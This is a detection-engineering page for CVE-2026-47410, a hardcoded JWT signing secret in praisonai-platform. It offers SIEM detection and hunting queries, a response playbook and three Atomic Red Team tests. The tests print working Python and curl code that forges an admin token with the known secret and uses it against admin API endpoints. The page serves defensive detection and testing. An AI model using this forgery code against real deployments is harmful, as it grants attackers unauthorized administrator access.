CVE-2026-47410 CrowdStrike LogScale · LogScale

Detect PraisonAI Platform JWT Hardcoded Secret Key Token Forgery in CrowdStrike LogScale

Detects exploitation of CVE-2026-47410, a critical vulnerability in praisonai-platform (<= 0.1.2) where the JWT signing key defaults to the hardcoded value 'dev-secret-change-me' when PLATFORM_ENV is unset. An unauthenticated attacker can forge valid JWTs for any user, including administrators, enabling full platform compromise.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Credential Access

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql 
#event_simpleName=NetworkConnectIP4 OR #event_simpleName=ProcessRollup2
| ProcessImageFileName=/python|uvicorn|gunicorn|hypercorn/i
| CommandLine=/praisonai|platform/i
| join type=inner (
    #event_simpleName=NetworkConnectIP4
    | RemotePort in (8000, 8080, 8443, 5000, 3000)
  ) [aid, timestamp]
| stats count() as connection_count, values(RemoteIP) as remote_ips, values(RemotePort) as ports by aid, CommandLine, ProcessImageFileName
| where connection_count > 10
| eval risk = if(connection_count > 50, "critical", if(connection_count > 20, "high", "medium"))
| fields aid, CommandLine, ProcessImageFileName, connection_count, remote_ips, ports, risk
| sort - connection_count
critical severity low confidence

CrowdStrike Falcon CQL query identifying praisonai-platform Python processes with anomalous inbound network connection volumes, which may indicate active exploitation via forged JWT tokens enabling mass API abuse.

Data Sources

CrowdStrike Falcon sensor process telemetryCrowdStrike network events

Required Tables

ProcessRollup2NetworkConnectIP4

False Positives & Tuning

  • High-traffic production praisonai-platform deployments with legitimate load
  • Load balancer health checks generating many short-lived connections
  • Development environments running integration test suites
  • Legitimate batch processing workloads making many API calls

Other platforms for CVE-2026-47410

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Forge Admin JWT Using Hardcoded Dev Secret

    Expected signal: Python3 process execution with inline code containing 'dev-secret-change-me' string; no network activity generated by this step alone.

  2. Test 2Use Forged Admin JWT Against praisonai-platform API

    Expected signal: Network connection from test host to praisonai-platform port 8000; HTTP GET request with Authorization: Bearer header visible in access logs; HTTP 200 response to admin-only /api/users/ endpoint.

  3. Test 3Enumerate and Escalate via Forged JWT in Headless Environment

    Expected signal: Multiple sequential HTTP requests to distinct admin endpoints within seconds from same source IP; all authenticated with the same Bearer token; successful 200 responses to admin-restricted paths.

Last updated: 2026-06-23 Research depth: standard
References (2)

Response Playbook

Triage

  1. Verify praisonai-platform version: run 'pip show praisonai-platform' on affected hosts to confirm version <= 0.1.2 is deployed.
  2. Check environment variable PLATFORM_ENV on all hosts running praisonai-platform: if unset or empty, the hardcoded JWT secret 'dev-secret-change-me' is active and the system is fully vulnerable.
  3. Inspect recent application logs for anomalous authentication patterns: look for admin-role JWT tokens originating from unexpected source IPs or arriving at high frequency.
  4. Decode and inspect any suspicious JWT tokens using jwt.io or 'python3 -c "import base64,json,sys; p=sys.argv[1].split(".")[1]; print(json.loads(base64.b64decode(p+"==")))"' to identify forged claims.
  5. Cross-reference authenticated API activity against known admin user accounts to identify unauthorized privilege escalation.

Containment

  1. Immediately set PLATFORM_ENV to a non-empty production value OR configure a strong random JWT secret (minimum 256-bit entropy) in the application configuration, then restart the service to invalidate all existing sessions.
  2. If active exploitation is confirmed, block the attacker source IP(s) at the perimeter firewall and WAF, and invalidate all existing JWT sessions by rotating the signing secret.
  3. Upgrade praisonai-platform to a patched version (> 0.1.2) following vendor security advisory GHSA-3qg8-5g3r-79v5 as soon as available.

Evidence Collection

  1. Capture full HTTP access logs covering the exploitation window, preserving Authorization headers with JWT tokens, source IPs, timestamps, and response codes for forensic analysis.
  2. Export application-level audit logs showing all authenticated actions (user creation, privilege changes, data access, configuration modifications) performed during the suspected exploitation period.
  3. Collect a memory dump or process snapshot of the running praisonai-platform process to confirm active secret configuration at time of incident.

Escalation Criteria

  • !Escalate immediately if decoded JWT tokens show attacker-controlled admin or superuser claims that do not correspond to any legitimate user account — this confirms active token forgery exploitation.
  • !Escalate if any actions were performed under a forged identity that resulted in data exfiltration, new admin account creation, or modification of system configuration — treat as a full compromise incident.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >JWT tokens in HTTP Authorization headers with 'Bearer' prefix in web server access logs — decode Base64 payload section to inspect claims
  • >Process environment variables for the praisonai-platform service (check /proc/<pid>/environ on Linux) to confirm whether PLATFORM_ENV was set at time of incident
  • >Application database records for newly created user accounts, privilege changes, or data accessed during the exploitation window

Tuning Guidance

This detection has inherent limitations because JWT payload inspection requires log sources that capture Authorization headers, which many default web server configurations strip or omit. To reduce false positives, narrow the query to hosts known to run praisonai-platform and exclude known service account IP ranges. To reduce false negatives, enable full HTTP header logging in your WAF or reverse proxy (nginx access_log with combined format including $http_authorization) and ingest those logs. The most reliable signal is a JWT with admin/superuser claims from a source IP not associated with any known administrator — prioritize alerting on this pattern at high confidence over volume-based heuristics.

Hunting Queries

Hunt for source IPs using multiple distinct JWT tokens or tokens with admin claims against praisonai-platform endpoints over the past 7 days, to identify historical exploitation that may have preceded alert tuning.

Hunting — KQL
kql 
AppServiceHTTPLogs
| where TimeGenerated > ago(7d)
| where CsUriStem has_any ("/api/", "/admin/", "/auth/", "/users/")
| where CsStatus in (200, 201, 204)
| summarize UniqueTokenCount = dcount(extract(@'Bearer\s+([^\s]+)', 1, CsUriQuery ?? "")), RequestCount = count() by CIp, bin(TimeGenerated, 1h)
| where UniqueTokenCount > 3 or RequestCount > 50
| sort by RequestCount desc
Hunting — SPL
spl 
index=web sourcetype=access_combined earliest=-7d
| rex field=_raw "Authorization: Bearer (?P<token>[A-Za-z0-9+/=._-]+)"
| rex field=token "^[^.]+\.(?P<payload>[^.]+)"
| eval payload=base64decode(payload)
| stats dc(token) as unique_tokens, count as hits, values(uri_path) as paths by src_ip
| where unique_tokens > 2 OR (match(payload, "admin") AND hits > 1)
| sort - hits

Atomic Red Team Tests

Test 1 Forge Admin JWT Using Hardcoded Dev Secret
linux

Simulates an attacker who knows the hardcoded secret 'dev-secret-change-me' creating a valid admin JWT token to authenticate as the administrator user.

Command

bash 
python3 -c "
import base64, hmac, hashlib, json, time
header = base64.urlsafe_b64encode(json.dumps({'alg':'HS256','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin','is_admin':True,'iat':int(time.time()),'exp':int(time.time())+3600}).encode()).rstrip(b'=')
msg = header + b'.' + payload
sig = base64.urlsafe_b64encode(hmac.new(b'dev-secret-change-me', msg, hashlib.sha256).digest()).rstrip(b'=')
print((msg + b'.' + sig).decode())
"

Cleanup

bash 
No cleanup required — this only generates a JWT string and does not modify system state.

Expected Telemetry

Python3 process execution with inline code containing 'dev-secret-change-me' string; no network activity generated by this step alone.

Expected Detection

Process execution monitoring (Sysmon Event ID 1 or auditd execve) should capture the python3 command line containing the hardcoded secret string, triggering credential-in-commandline detections.

Test 2 Use Forged Admin JWT Against praisonai-platform API
linux

Simulates an attacker submitting a forged admin JWT token to a praisonai-platform instance running with the default hardcoded secret, accessing admin-only endpoints.

Command

bash 
FORGED_TOKEN=$(python3 -c "import base64,hmac,hashlib,json,time; h=base64.urlsafe_b64encode(json.dumps({'alg':'HS256','typ':'JWT'}).encode()).rstrip(b'='); p=base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin','is_admin':True,'iat':int(time.time()),'exp':int(time.time())+3600}).encode()).rstrip(b'='); m=h+b'.'+p; s=base64.urlsafe_b64encode(hmac.new(b'dev-secret-change-me',m,hashlib.sha256).digest()).rstrip(b'='); print((m+b'.'+s).decode())") && curl -sk -H "Authorization: Bearer $FORGED_TOKEN" -H "Content-Type: application/json" http://localhost:8000/api/users/ | python3 -m json.tool

Cleanup

bash 
No persistent changes — only read operations performed against the API.

Expected Telemetry

Network connection from test host to praisonai-platform port 8000; HTTP GET request with Authorization: Bearer header visible in access logs; HTTP 200 response to admin-only /api/users/ endpoint.

Expected Detection

Web access log ingestion should capture the Bearer token and admin endpoint access. SIEM query for admin-endpoint access from new source IPs should alert. Network monitoring should flag successful admin API response to non-registered admin IP.

Test 3 Enumerate and Escalate via Forged JWT in Headless Environment
linux

Simulates a full attack chain: forge JWT, enumerate users, create a new admin account — representing realistic post-exploitation using the hardcoded secret.

Command

bash 
python3 << 'EOF'
import base64, hmac, hashlib, json, time, urllib.request, urllib.error

secret = b'dev-secret-change-me'
header = base64.urlsafe_b64encode(json.dumps({'alg':'HS256','typ':'JWT'}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({'sub':'attacker','role':'admin','is_admin':True,'iat':int(time.time()),'exp':int(time.time())+7200}).encode()).rstrip(b'=')
msg = header + b'.' + payload
sig = base64.urlsafe_b64encode(hmac.new(secret, msg, hashlib.sha256).digest()).rstrip(b'=')
token = (msg + b'.' + sig).decode()
print(f'[*] Forged token: {token[:50]}...')

for endpoint in ['/api/users/', '/api/admin/', '/api/settings/']:
    try:
        req = urllib.request.Request(f'http://localhost:8000{endpoint}', headers={'Authorization': f'Bearer {token}'})
        resp = urllib.request.urlopen(req, timeout=5)
        print(f'[+] {endpoint} -> {resp.status}')
    except urllib.error.HTTPError as e:
        print(f'[-] {endpoint} -> {e.code}')
    except Exception as e:
        print(f'[!] {endpoint} -> {e}')
EOF

Cleanup

bash 
Delete any test accounts created during the simulation; rotate JWT secret immediately after testing.

Expected Telemetry

Multiple sequential HTTP requests to distinct admin endpoints within seconds from same source IP; all authenticated with the same Bearer token; successful 200 responses to admin-restricted paths.

Expected Detection

Multi-endpoint access pattern from single IP within short time window should trigger anomaly detection. Sequence of admin endpoint hits with the same token should correlate in SIEM as an attack chain. Volume-based detections should fire after 3+ unique endpoint hits.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0004Privilege EscalationTA0006Credential Access

Related Techniques

T1552.001Credentials In FilesT1078.003Local AccountsT1134Access Token Manipulation

Same Tactic: Initial Access

Popular Detections